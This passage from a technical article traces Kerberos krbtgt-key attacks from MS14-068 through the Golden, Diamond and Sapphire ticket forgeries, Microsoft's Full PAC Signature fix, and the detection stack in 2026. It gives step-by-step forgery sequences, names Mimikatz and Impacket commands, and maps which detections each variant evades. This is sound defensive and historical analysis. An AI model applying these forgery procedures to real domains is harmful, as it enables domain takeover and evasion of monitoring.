&lt;p&gt;John Kohl and Clifford Neuman published RFC 1510 in September 1993, standardising Kerberos version 5 [@rfc1510]. The &lt;code&gt;krbtgt/DOMAIN@DOMAIN&lt;/code&gt; principal-name convention carried forward unchanged from Athena. RFC 1510 is the document Microsoft engineers read when they chose Kerberos v5 as the Windows 2000 default authentication protocol; the krbtgt account became part of the AD schema at the Windows 2000 ship date (RTM December 15, 1999; general availability February 17, 2000) [@windows-2000]. The Microsoft Learn default-accounts page binds the two specifications to the same account: &quot;KRBTGT is also the security principal name used by the KDC for a Windows Server domain, as specified by RFC 4120&quot; [@ms-default-accounts].&lt;/p&gt;
&lt;p&gt;RFC 4120, published in July 2005 by Neuman, Yu, Hartman, and Raeburn, obsoleted RFC 1510 [@rfc4120]. The principal name carried forward unchanged again. Section 5.3 defines the wire format of a ticket; §6.2 defines the principal-name convention. Microsoft Open Specifications then published the first [MS-KILE] revision in March 2007, documenting the Windows wire profile on top of RFC 4120. The current revision -- 47.0, dated April 27, 2026 -- still says the same thing: the krbtgt long-term key encrypts every TGT [@mskile]. The Microsoft overlay on top of the IETF specification is the AD-account-management surface: RID 502 fixed, password system-generated, password-history-of-2, disabled-for-interactive-logon, automatic provisioning at first-DC promotion [@ms-default-accounts][@ms-forest-recovery].&lt;/p&gt;
&lt;p&gt;Every Kerberos domain on the public Internet today has a &lt;code&gt;krbtgt&lt;/code&gt; principal in it. The name has not moved in thirty-eight years. Only the AD-specific overlay is what gives this article its Windows-specific subject; the protocol substrate is older than the attack surface by twenty-six years.&lt;/p&gt;
&lt;p&gt;The principal name and the trust property are nearly forty years old. The exploit chain that targets them is twelve. The interesting question is what happened in the twelve years that turned an academic design decision into the most consequential single key in enterprise computing. That story has a beginning at Black Hat USA on August 7, 2014.&lt;/p&gt;
&lt;h2&gt;5. The Attack Cascade, 2014 to 2024&lt;/h2&gt;
&lt;p&gt;Six generations of attack span ten years. None of them found a way to forge a TGT &lt;em&gt;without&lt;/em&gt; the krbtgt key; the search space is mathematically closed in that direction. What they did instead is get progressively better at hiding the forgery inside genuine-looking wire traffic. By 2022, the forgery and the legitimate TGT are wire-indistinguishable. Here is how that arc unfolded.&lt;/p&gt;

gantt
    title Attack and defence generations
    dateFormat YYYY-MM-DD
    axisFormat %Y
    section Attack
    Gen 0 Academic baseline       :done, g0, 2000-02-01, 2014-08-05
    Gen 1 MS14-068 PAC forgery    :crit, g1, 2014-11-18, 90d
    Gen 2 Golden Ticket           :crit, g2, 2014-08-07, 2920d
    Gen 3 Silver Ticket           :       g3, 2015-01-01, 4000d
    Gen 4 Diamond Ticket          :crit, g4, 2022-06-21, 1700d
    Gen 5 Sapphire Ticket         :crit, g5, 2022-10-15, 1300d
    section Defence
    MS14-068 patch                :done, d1, 2014-11-18, 30d
    MDI alert family              :done, d2, 2016-01-01, 800d
    Full PAC Signature audit      :done, d3, 2022-12-13, 210d
    Full PAC Signature enforce    :done, d4, 2023-07-11, 90d
    Compatibility removed         :done, d5, 2023-10-10, 30d
&lt;h3&gt;Generation 0 (pre-November 2014): the academic baseline&lt;/h3&gt;
&lt;p&gt;Two assumptions held for fourteen years between Windows 2000 RTM and Black Hat USA 2014. First, the PAC&apos;s two signatures -- the Server Signature and the KDC Signature -- were treated as adequate; the [MS-PAC] specification required the KDC Signature to be a keyed HMAC under the krbtgt key, but Windows KDCs in practice accepted weaker non-keyed checksums on it (CRC32, RSA-MD5) [@mspac][@ms14068]. Second, the long-term krbtgt key was held only on writeable DCs and was considered unreachable to remote attackers because no remote primitive existed to extract it. Both assumptions failed within months of each other. The MS14-068 disclosure broke the first; the productionised DCSync primitive in Mimikatz broke the second.&lt;/p&gt;
&lt;h3&gt;Generation 1 (November 18, 2014): MS14-068 and CVE-2014-6324&lt;/h3&gt;
&lt;p&gt;On November 18, 2014, Microsoft published security bulletin MS14-068, &quot;Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780)&quot; [@ms14068]. The disclosure: the KDC validated PACs using a checksum algorithm that did not actually depend on the krbtgt key. Any authenticated domain user could forge a PAC asserting Domain Admin group membership, attach it to an otherwise-valid AS-REQ exchange, and the KDC would accept the forgery. The NVD entry for CVE-2014-6324 records that the bug &quot;allows remote authenticated domain users to obtain domain administrator privileges via a forged signature in a ticket, as exploited in the wild in November 2014, aka &apos;Kerberos Checksum Vulnerability&apos;&quot; [@cve-2014-6324]. CVSS 9.0. Critical for every supported Windows Server SKU. Exploited in the wild within hours of the bulletin.&lt;/p&gt;
&lt;p&gt;Discovery credit for MS14-068 appears across Metasploit module authorship, AttackerKB, and several practitioner write-ups as Tom Maddock. The MSRC bulletin verbatim says only &quot;privately reported&quot; and does not name the reporter publicly [@ms14068]. The Maddock attribution is folk knowledge; the MSRC primary does not confirm it.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s patch replaced the weak checksum with a real keyed HMAC under the krbtgt key, the same construction the [MS-PAC] document specifies today. The patch was correct: it restored PAC integrity to actual dependence on a real secret. It also, as a side-effect, elevated the krbtgt key from &quot;an important secret in the directory&quot; to &quot;the load-bearing secret of every authentication decision in the domain.&quot; From November 18, 2014 onward, an attacker who held the krbtgt key did not just hold a useful credential; the attacker held the &lt;em&gt;only&lt;/em&gt; credential the KDC could not check above.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The MS14-068 patch was correct -- it restored PAC integrity to dependence on the krbtgt key. Its side-effect was to elevate the krbtgt key from &quot;important&quot; to &quot;load-bearing for every authentication decision in the domain.&quot; From November 18, 2014 onward, the krbtgt key was the single secret worth attacking directly.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Generation 2 (August 7, 2014): Golden Ticket&lt;/h3&gt;
&lt;p&gt;Skip Duckwall and Benjamin Delpy presented &quot;Abusing Microsoft Kerberos: Sorry you guys don&apos;t get it&quot; at Black Hat USA on August 7, 2014 [@infocondb-bh2014]. The technique they demonstrated is what Sean Metcalf later popularised as the Golden Ticket: with the krbtgt key in hand, an attacker forges a TGT from scratch for any principal SID with any group memberships [@adsec-1640]. The KDC validates the TGT by decrypting &lt;code&gt;enc-part&lt;/code&gt; with the krbtgt key. There is no upstream authority to check, because krbtgt &lt;em&gt;is&lt;/em&gt; the authority. MITRE T1558.001 codifies the technique [@mitre-t1558001]; Benjamin Delpy&apos;s Mimikatz &lt;code&gt;kerberos::golden&lt;/code&gt; command operationalises it [@mimikatz].&lt;/p&gt;

sequenceDiagram
    participant A as Attacker (holds krbtgt key)
    participant L as Local Kerberos cache
    participant K as KDC on a DC
    participant S as Target service
    A-&amp;gt;&amp;gt;A: Choose target SID and groups
    A-&amp;gt;&amp;gt;A: Build EncTicketPart locally
    A-&amp;gt;&amp;gt;A: HMAC PAC signatures under krbtgt key
    A-&amp;gt;&amp;gt;A: AES-encrypt enc-part under krbtgt key
    A-&amp;gt;&amp;gt;L: kerberos::ptt -- inject ticket
    L-&amp;gt;&amp;gt;K: TGS-REQ presenting forged TGT
    K-&amp;gt;&amp;gt;K: Decrypt TGT with krbtgt key -- valid
    K-&amp;gt;&amp;gt;L: TGS-REP for target service
    L-&amp;gt;&amp;gt;S: Present service ticket -- access granted
&lt;p&gt;The Golden Ticket works because of the single-key trust property the 1988 design chose. There is nothing in the protocol that asks &quot;is this TGT in the KDC&apos;s issuance log?&quot; The TGT is self-verifying. If it decrypts and its signatures validate under the key, it is, by definition, a TGT.&lt;/p&gt;
&lt;p&gt;Why, then, does Golden Ticket sometimes get caught? Because the default Mimikatz invocation leaves four observable artefacts that Microsoft Defender for Identity ships dedicated alerts for, under the umbrella of the Suspected-Golden-Ticket alert family [@mdi-classic][@mdi-credential]. Mimikatz historically defaulted to RC4-HMAC encryption (enctype 23), which is anomalous on a modern AD where AES is standard. Mimikatz historically defaulted to a ten-year ticket lifetime, against the AD &lt;code&gt;MaxTicketAge&lt;/code&gt; default of ten hours. The attacker frequently asserts groups the user does not actually hold, which produces a &quot;forged authorization data&quot; anomaly. And the attacker sometimes forges a ticket for an account that does not exist in the directory at all, which produces a &quot;nonexistent account&quot; anomaly. Microsoft&apos;s live MDI alerts page enumerates six External IDs in the family: 2009 (encryption downgrade), 2013 (forged authorization data), 2022 (time anomaly), 2027 (nonexistent account), 2032 (ticket anomaly), and 2040 (ticket anomaly using RBCD) [@mdi-classic].&lt;/p&gt;
&lt;p&gt;The structural observation: every alert in this family detects &lt;em&gt;symptoms of forging from scratch&lt;/em&gt;. None of them detects the primitive of &lt;em&gt;holding the krbtgt key&lt;/em&gt;. That distinction is what makes Generation 4 (Diamond) and Generation 5 (Sapphire) interesting.&lt;/p&gt;
&lt;h3&gt;Generation 3 (parallel path): Silver Ticket&lt;/h3&gt;
&lt;p&gt;Silver Tickets forge a &lt;em&gt;service ticket&lt;/em&gt; (TGS) under a captured service-account key. They sidestep the krbtgt key entirely; the KDC is never involved in the forgery, and the forgery validates only against the one service whose key was captured. MITRE T1558.002 catalogues the technique [@mitre-t1558002]. Mentioned here so the question stops being asked. Silver Tickets are a sibling technique that targets a different trust root (per-service account keys), not the krbtgt key.&lt;/p&gt;
&lt;h3&gt;Generation 4 (June 2022): Diamond Ticket&lt;/h3&gt;
&lt;p&gt;In June 2022, Andrew Schwartz at TrustedSec and Charlie Clark at Semperis co-published &quot;A Diamond in the Ruff,&quot; documenting a refinement of Golden Ticket that defeats every PAC-content anomaly detection in one stroke [@trustedsec-diamond][@semperis-diamond]. The technique: instead of forging the TGT from scratch, the attacker requests a &lt;em&gt;real&lt;/em&gt; TGT from the KDC, then decrypts its &lt;code&gt;enc-part&lt;/code&gt; using the held krbtgt key, modifies the PAC contents, re-signs the PAC under the krbtgt key, re-encrypts the &lt;code&gt;enc-part&lt;/code&gt;, and walks away with a ticket whose every wire property -- &lt;code&gt;sname&lt;/code&gt;, &lt;code&gt;cname&lt;/code&gt;, &lt;code&gt;authtime&lt;/code&gt; skew matching the real KDC&apos;s clock, plausible &lt;code&gt;endtime&lt;/code&gt;, AES-256 envelope -- looks like a legitimate KDC-issued artefact.&lt;/p&gt;

sequenceDiagram
    participant A as Attacker (low-priv user, holds krbtgt key)
    participant K as KDC on a DC
    participant L as Local Kerberos cache
    participant S as Target service
    A-&amp;gt;&amp;gt;K: AS-REQ for low-priv user
    K-&amp;gt;&amp;gt;A: Real TGT, encrypted under krbtgt key
    A-&amp;gt;&amp;gt;A: Decrypt enc-part with held krbtgt key
    A-&amp;gt;&amp;gt;A: Modify PAC SIDs to Domain Admins
    A-&amp;gt;&amp;gt;A: Recompute PAC signatures under krbtgt key
    A-&amp;gt;&amp;gt;A: Re-encrypt enc-part under krbtgt key
    A-&amp;gt;&amp;gt;L: ptt -- inject modified TGT
    L-&amp;gt;&amp;gt;K: TGS-REQ presenting Diamond TGT
    K-&amp;gt;&amp;gt;K: Decrypt -- valid, signatures match
    K-&amp;gt;&amp;gt;L: TGS-REP for target service
    L-&amp;gt;&amp;gt;S: Access granted as Domain Admin
&lt;p&gt;Every MDI Suspected-Golden-Ticket detection disappears, by construction. The encryption type is AES-256 because the KDC issued it that way. The lifetime matches the AD policy because the KDC set it that way. The cname matches a real account because the attacker requested the TGT as a real low-privilege account they own. The only thing the attacker changed is the group SIDs inside the PAC, and the PAC signatures revalidate because the attacker recomputed them under the same krbtgt key the KDC would have used.&lt;/p&gt;
&lt;p&gt;TrustedSec verbatim: Diamond &quot;would almost certainly require access to the AES256 key&quot; [@trustedsec-diamond]. The KDC issued the real TGT in AES-256, so the attacker needs the AES-256 key to decrypt and re-encrypt -- not just the RC4 NTLM hash that the classic Golden Ticket can use.&lt;/p&gt;
&lt;p&gt;The Diamond Ticket disclosure pointed at an architectural problem: with the krbtgt key in hand, every PAC-content anomaly detection is defeated. Microsoft&apos;s structural answer was the Full PAC Signature in November 2022. We come to that in Generation 6.&lt;/p&gt;
&lt;h3&gt;Generation 5 (October 2022): Sapphire Ticket&lt;/h3&gt;
&lt;p&gt;Charlie Bromberg, who publishes under the handle Shutdown (&lt;code&gt;@_nwodtuhs&lt;/code&gt;) at Synacktiv and maintains The Hacker Recipes wiki, disclosed Sapphire Ticket in October 2022 [@hackrecipes-sapphire][@shutdownrepo-sapphire]. Where Diamond modifies the PAC, Sapphire &lt;em&gt;splices&lt;/em&gt; the PAC. The procedure abuses two Kerberos extensions in combination -- Service-for-User-to-Self (S4U2self) and User-to-User (U2U) -- to coerce the KDC into issuing a service ticket whose embedded PAC describes a target user the attacker wishes to impersonate. The attacker then extracts that genuine PAC from the service ticket and embeds it, unchanged, in a freshly constructed TGT signed under the held krbtgt key.&lt;/p&gt;

A Kerberos extension that lets a service request a ticket *to itself*, on behalf of another user, without that user presenting credentials. Originally designed for protocol-transition scenarios (a web service accepting forms-based auth and translating it to Kerberos for downstream calls). Defined in [MS-SFU] (Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol); referenced from [MS-KILE] [@mssfu].

A Kerberos extension defined in RFC 4120 §3.7 that allows a ticket to be encrypted under the recipient&apos;s session key rather than its long-term key, enabling two clients to authenticate to each other without either being a KDC-registered service [@rfc4120].

sequenceDiagram
    participant A as Attacker (low-priv user, holds krbtgt key)
    participant K as KDC on a DC
    participant L as Local Kerberos cache
    participant S as Target service
    A-&amp;gt;&amp;gt;K: AS-REQ for low-priv user
    K-&amp;gt;&amp;gt;A: Real attacker TGT
    A-&amp;gt;&amp;gt;K: S4U2self + U2U TGS-REQ for target user
    K-&amp;gt;&amp;gt;A: TGS containing target user&apos;s genuine PAC
    A-&amp;gt;&amp;gt;A: Extract genuine PAC from TGS
    A-&amp;gt;&amp;gt;A: Build new TGT, embed genuine PAC
    A-&amp;gt;&amp;gt;A: Sign three PAC signatures under krbtgt key
    A-&amp;gt;&amp;gt;A: Encrypt enc-part under krbtgt key
    A-&amp;gt;&amp;gt;L: ptt -- inject Sapphire TGT
    L-&amp;gt;&amp;gt;K: TGS-REQ presenting Sapphire TGT
    K-&amp;gt;&amp;gt;K: Decrypt -- valid, PAC is genuine
    K-&amp;gt;&amp;gt;L: TGS-REP for target service
    L-&amp;gt;&amp;gt;S: Access granted as target user
&lt;p&gt;By construction, there is no PAC-content anomaly to detect: the PAC inside the resulting TGT is literally a PAC the KDC issued for the target user, because the KDC &lt;em&gt;did&lt;/em&gt; issue it. The PAC&apos;s three signatures revalidate because the attacker held the krbtgt key to sign them; if Microsoft validates the Full PAC Signature on incoming tickets, that signature also validates because the attacker computed it under the same krbtgt key. Detection must move to traffic-flow analysis -- specifically, the anomalous S4U2self plus U2U TGS-REQ sequence on the wire -- and as of May 2026 no vendor has shipped a clean canonical default-enabled analytic for that signal [@unit42-gemstones].&lt;/p&gt;
&lt;p&gt;The Sapphire Ticket disclosure is widely misattributed to Charlie Clark (Semperis). The primary tooling artefact -- the Impacket PR #1411 conversation thread -- addresses the author as &lt;code&gt;@ShutdownRepo&lt;/code&gt;, who is Charlie Bromberg of Synacktiv [@impacket-1411]. The Hacker Recipes wiki and pgj11.com both confirm Bromberg as the author of record [@hackrecipes-sapphire][@pgj11]. The misattribution conflates Sapphire with Clark&apos;s separate &quot;AS Requested Service Tickets&quot; technique.&lt;/p&gt;
&lt;p&gt;The empirical artefact is the Impacket pull request #1411, in which Bromberg added the &lt;code&gt;-impersonate&lt;/code&gt; flag to &lt;code&gt;ticketer.py&lt;/code&gt; to put the tool into &quot;sapphire ticket mode&quot; [@impacket-1411][@shutdownrepo-sapphire]. Palo Alto Unit 42&apos;s &quot;Precious Gemstones&quot; survey is the vendor-side state-of-the-art summary [@unit42-gemstones].&lt;/p&gt;
&lt;h3&gt;Generation 6 (November 2022 to October 2023): KrbtgtFullPacSignature&lt;/h3&gt;
&lt;p&gt;Microsoft&apos;s formal response to the post-2014 attack arc shipped as KB5020805 starting November 8, 2022, addressing CVE-2022-37967 [@kb5020805][@cve-2022-37967]. The fix adds a new PAC signature -- the Full PAC Signature -- computed by the KDC over the &lt;em&gt;entire&lt;/em&gt; PAC including the older two signatures, validated on incoming tickets, and rolled out across five deployment phases:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Mode&lt;/th&gt;
&lt;th&gt;&lt;code&gt;KrbtgtFullPacSignature&lt;/code&gt; value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Initial Deployment&lt;/td&gt;
&lt;td&gt;November 8, 2022&lt;/td&gt;
&lt;td&gt;Signatures added, validation disabled&lt;/td&gt;
&lt;td&gt;1 (Compatibility)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Second Deployment&lt;/td&gt;
&lt;td&gt;December 13, 2022&lt;/td&gt;
&lt;td&gt;Audit mode default&lt;/td&gt;
&lt;td&gt;2 (Audit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Third Deployment&lt;/td&gt;
&lt;td&gt;June 13, 2023&lt;/td&gt;
&lt;td&gt;Cannot disable signature addition&lt;/td&gt;
&lt;td&gt;(value 0 removed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default Enforcement&lt;/td&gt;
&lt;td&gt;July 11, 2023&lt;/td&gt;
&lt;td&gt;Enforcement default&lt;/td&gt;
&lt;td&gt;3 (Enforcement)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Removal of Compatibility&lt;/td&gt;
&lt;td&gt;October 10, 2023&lt;/td&gt;
&lt;td&gt;Audit removed, Enforcement permanent&lt;/td&gt;
&lt;td&gt;(registry key removed)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;KB5020805 documents the final state verbatim: &quot;Windows updates released on or after October 10, 2023 will do the following: Removes support for the registry subkey KrbtgtFullPacSignature. Removes support for Audit mode. All service tickets without the new PAC signatures will be denied authentication&quot; [@kb5020805].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The KB number for KrbtgtFullPacSignature is KB5020805, not KB5021131. KB5021131 is the paired but distinct KB for CVE-2022-37966 (encryption-type enforcement). The PAC-signature-specific KB is KB5020805. Secondary sources routinely confuse the two.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here is the structural fact. The Full PAC Signature is &lt;em&gt;also&lt;/em&gt; computed under the krbtgt key. So an attacker who holds the krbtgt key still mints fully-validating tickets, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sapphire Tickets, which never modify the PAC at all; the existing signatures the KDC issued are valid by construction, the Full PAC Signature included.&lt;/li&gt;
&lt;li&gt;Recomputed Diamond Tickets, in which the attacker simply computes the Full PAC Signature alongside the older KDC signature in the same step, because both depend on the same key the attacker holds.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;KrbtgtFullPacSignature retired one specific class of attack (Diamond Tickets that did not recompute the Full PAC Signature). It did not retire the underlying primitive (TGT forgery from a known krbtgt key). The PAC signature surface in Section 3 -- all three signatures terminating at the same key -- is exactly why this is so.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The Full PAC Signature was Microsoft&apos;s structural response to Diamond Ticket. It is itself computed under the krbtgt key. So an attacker who holds the krbtgt key recomputes it in the same step as the KDC signature -- and Sapphire Tickets, which never modify the PAC at all, are unaffected by construction. CVE-2022-37967 retired one class of attack (PAC-modifying Diamond variants); it did not retire the primitive.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Comparing the three forgery variants&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Golden&lt;/th&gt;
&lt;th&gt;Diamond&lt;/th&gt;
&lt;th&gt;Sapphire&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Requires krbtgt key?&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes (AES-256)&lt;/td&gt;
&lt;td&gt;Yes (AES-256)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Calls the KDC?&lt;/td&gt;
&lt;td&gt;No (forges from scratch)&lt;/td&gt;
&lt;td&gt;Yes (real AS-REQ)&lt;/td&gt;
&lt;td&gt;Yes (AS-REQ + S4U2self+U2U)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Modifies the PAC?&lt;/td&gt;
&lt;td&gt;Builds it from scratch&lt;/td&gt;
&lt;td&gt;Yes (group SIDs)&lt;/td&gt;
&lt;td&gt;No (genuine PAC)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defeats MDI encryption downgrade alert?&lt;/td&gt;
&lt;td&gt;No (defaults RC4)&lt;/td&gt;
&lt;td&gt;Yes (real AES)&lt;/td&gt;
&lt;td&gt;Yes (real AES)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defeats MDI time-anomaly alert?&lt;/td&gt;
&lt;td&gt;No (defaults 10y)&lt;/td&gt;
&lt;td&gt;Yes (KDC lifetime)&lt;/td&gt;
&lt;td&gt;Yes (KDC lifetime)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defeats MDI forged-auth-data alert?&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (still triggers if group mismatch detected via other means)&lt;/td&gt;
&lt;td&gt;Yes (PAC is genuine)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defeats Full PAC Signature (post-July 2023)?&lt;/td&gt;
&lt;td&gt;Yes (recomputed under held key)&lt;/td&gt;
&lt;td&gt;Yes (recomputed)&lt;/td&gt;
&lt;td&gt;Yes (genuine PAC)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Known wire-residual?&lt;/td&gt;
&lt;td&gt;Encryption type, lifetime, groups&lt;/td&gt;
&lt;td&gt;Re-encryption-under-held-key timing&lt;/td&gt;
&lt;td&gt;S4U2self+U2U conjunction&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Six generations from MS14-068 to KrbtgtFullPacSignature, and the residual primitive is exactly what the 1988 paper described: hold the key, mint the ticket. So what does the detection topology in 2026 actually catch?&lt;/p&gt;
&lt;h2&gt;6. The Detection Stack in 2026&lt;/h2&gt;
&lt;p&gt;Detection of krbtgt-class attacks in 2026 is a four-layer stack. Each layer has a specific class of signal it reads, a specific class of attack it catches, and a specific gap that the next layer is supposed to close. Three of the four layers have a known gap above them. The fourth has nothing above it.&lt;/p&gt;

flowchart TD
    L4[&quot;Layer 4 -- S4U2self plus U2U residual (no vendor analytic shipped)&quot;]
    L3[&quot;Layer 3 -- Network/SIEM (Sentinel, Splunk T1558.001)&quot;]
    L2[&quot;Layer 2 -- Behavioural (MDI Suspected-Golden-Ticket family)&quot;]
    L1[&quot;Layer 1 -- Posture (BloodHound DCSync edge)&quot;]
    KEY[&quot;krbtgt long-term key (the attacker&apos;s objective)&quot;]
    L1 --&amp;gt; L2
    L2 --&amp;gt; L3
    L3 --&amp;gt; L4
    L4 --&amp;gt; KEY
&lt;h3&gt;Layer 1: posture (BloodHound DCSync edge)&lt;/h3&gt;
&lt;p&gt;The posture layer asks a question with no per-event component: &quot;Who has rights that &lt;em&gt;could&lt;/em&gt; extract the krbtgt key, regardless of whether they have used those rights?&quot; In Active Directory terms, the answer is &quot;anyone holding &lt;code&gt;DS-Replication-Get-Changes&lt;/code&gt; plus &lt;code&gt;DS-Replication-Get-Changes-All&lt;/code&gt; rights against a writeable DC, plus anyone who holds privileges that allow them to grant those rights to themselves.&quot; BloodHound encodes the answer as a &lt;code&gt;DCSync&lt;/code&gt; edge in its graph; the canonical community Cypher query is &lt;code&gt;MATCH (u)-[:DCSync]-&amp;gt;(d:Domain) RETURN u, d&lt;/code&gt;. The current shipping release of BloodHound Community Edition is v9.1.0, dated 2026-05-06 per the release notes [@bloodhound-notes].&lt;/p&gt;

A replication primitive Mimikatz first productionised in August 2015. The attacker invokes the `DRSGetNCChanges` API call against a writeable domain controller, masquerading as a peer DC, and the target DC obligingly streams back the requested account secrets including the krbtgt long-term key. MITRE T1003.006 catalogues the technique [@mitre-t1003006]. Sean Metcalf&apos;s adsecurity.org write-up notes &quot;DCSync was written by Benjamin Delpy and Vincent Le Toux&quot; [@adsec-1729].
&lt;p&gt;What this layer detects: any principal whose existing AD permissions create a path to the krbtgt key. What this layer misses: any attacker who &lt;em&gt;already&lt;/em&gt; has the key. Posture is preventive, not detective. By the time the attacker is invoking &lt;code&gt;kerberos::golden&lt;/code&gt;, the posture layer has already missed its window.&lt;/p&gt;
&lt;h3&gt;Layer 2: behavioural (Microsoft Defender for Identity)&lt;/h3&gt;
&lt;p&gt;Microsoft Defender for Identity ships an alert family covering classic Golden-Ticket-from-Mimikatz behaviour. The live MDI classic alerts page enumerates six Suspected-Golden-Ticket External IDs: 2009 (encryption downgrade), 2013 (forged authorization data), 2022 (time anomaly), 2027 (nonexistent account), 2032 (ticket anomaly), and 2040 (ticket anomaly using RBCD) [@mdi-classic]. The Credential access section adds External ID 2006 for &quot;Suspected DCSync attack&quot; on the extraction side [@mdi-classic].&lt;/p&gt;
&lt;p&gt;What this layer detects: the Mimikatz Golden Ticket defaults plus the DCSync extraction primitive that produces the krbtgt key in the first place. What this layer misses: Diamond and Sapphire by construction. Diamond removes the PAC-content anomalies because every artefact except the modified group SIDs comes from the real KDC. Sapphire defeats PAC-content anomaly detection entirely by using a PAC the KDC genuinely issued via S4U2self plus U2U.&lt;/p&gt;
&lt;p&gt;The MDI credential-access alerts page is the entry point to the family in the modern Microsoft Defender XDR console layout [@mdi-credential].&lt;/p&gt;
&lt;h3&gt;Layer 3: network and SIEM (Sentinel, Splunk)&lt;/h3&gt;
&lt;p&gt;Multi-vendor SIEM content packs ship analytic rules covering Kerberos behaviours flagged under MITRE T1558.001. Splunk&apos;s research catalogue contains the canonical example: &quot;Kerberos Service Ticket Request Using RC4 Encryption&quot; detects TGS-REQ traffic with encryption-type 0x17 (RC4-HMAC), leveraging Windows Event 4769 from the DCs [@splunk-7d9]. Microsoft Sentinel ships parallel rules under the Microsoft Defender XDR content connector. The pattern these analytics share is reliance on encryption-type anomalies, group-membership anomalies, or lifetime anomalies that appear in Windows event logs after the fact.&lt;/p&gt;
&lt;p&gt;What this layer detects: signature-style indicators of Golden Ticket behaviour on the wire and in the DC event log. What this layer misses: the same encryption-downgrade dependency MDI&apos;s alert 2009 has. The Splunk analytic verbatim acknowledges its own limit: &quot;This detection may be bypassed if attackers use the AES key instead of the NTLM hash&quot; [@splunk-7d9]. Diamond and Sapphire both use the AES-256 key. Both walk through this layer untouched.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Microsoft Sentinel ships rules called &quot;Kerberoasting&quot; that target MITRE T1558.003 (extracting service-account secrets by requesting SPN-bearing service tickets and brute-forcing the resulting RC4-encrypted blobs offline). Those rules target &lt;em&gt;service accounts&lt;/em&gt; with SPNs registered against them. They are not a krbtgt detection asset. The krbtgt account does not have an SPN that any client can request a TGS for; the relevant Sentinel content for krbtgt-class attacks is the T1558.001 Golden-Ticket and Kerberos-anomaly analytic family.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Layer 4: the Sapphire residual&lt;/h3&gt;
&lt;p&gt;What would catch a Sapphire Ticket? The only wire-observable residual of the technique is the conjunction of (a) a TGS-REQ specifying the S4U2self flag, and (b) the same TGT being used to address a User-to-User request to the KDC. No other layer of the stack reads this signal because no other attack has historically produced it as a precondition.&lt;/p&gt;
&lt;p&gt;What ships: nothing canonical. SpecterOps and the BloodHound content team have signalled graph-query work on the U2U TGS issuance pattern in 2026 trend reports [@bloodhound-notes], but no shipped default-enabled analytic. Palo Alto Unit 42&apos;s &quot;Precious Gemstones&quot; survey describes Cortex XDR detection-attempt heuristics but does not publish the rule [@unit42-gemstones]. The gap is engineering, not theoretical: the signal exists, the analytic to read it has simply not been packaged.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; No vendor analytic shipped for the S4U2self plus U2U conjunction as of May 2026. Sapphire is the current frontier and the article&apos;s &quot;what 2026 still cannot do&quot; gap. An attacker who holds the krbtgt key and uses the Sapphire technique walks past every shipping detection layer.&lt;/p&gt;
&lt;/blockquote&gt;

SpecterOps and the BloodHound content team have signalled graph-query work on the U2U TGS issuance pattern; Palo Alto Unit 42&apos;s &quot;Precious Gemstones&quot; survey describes Cortex XDR detection-attempt heuristics [@unit42-gemstones]. Neither has shipped a clean canonical default-enabled analytic. The gap is engineering, not theoretical, and it is the active research front for the 2026 to 2028 cycle.
&lt;h3&gt;Defensive method matrix&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Catches Golden?&lt;/th&gt;
&lt;th&gt;Catches Diamond?&lt;/th&gt;
&lt;th&gt;Catches Sapphire?&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;BloodHound DCSync edge&lt;/td&gt;
&lt;td&gt;preventive only&lt;/td&gt;
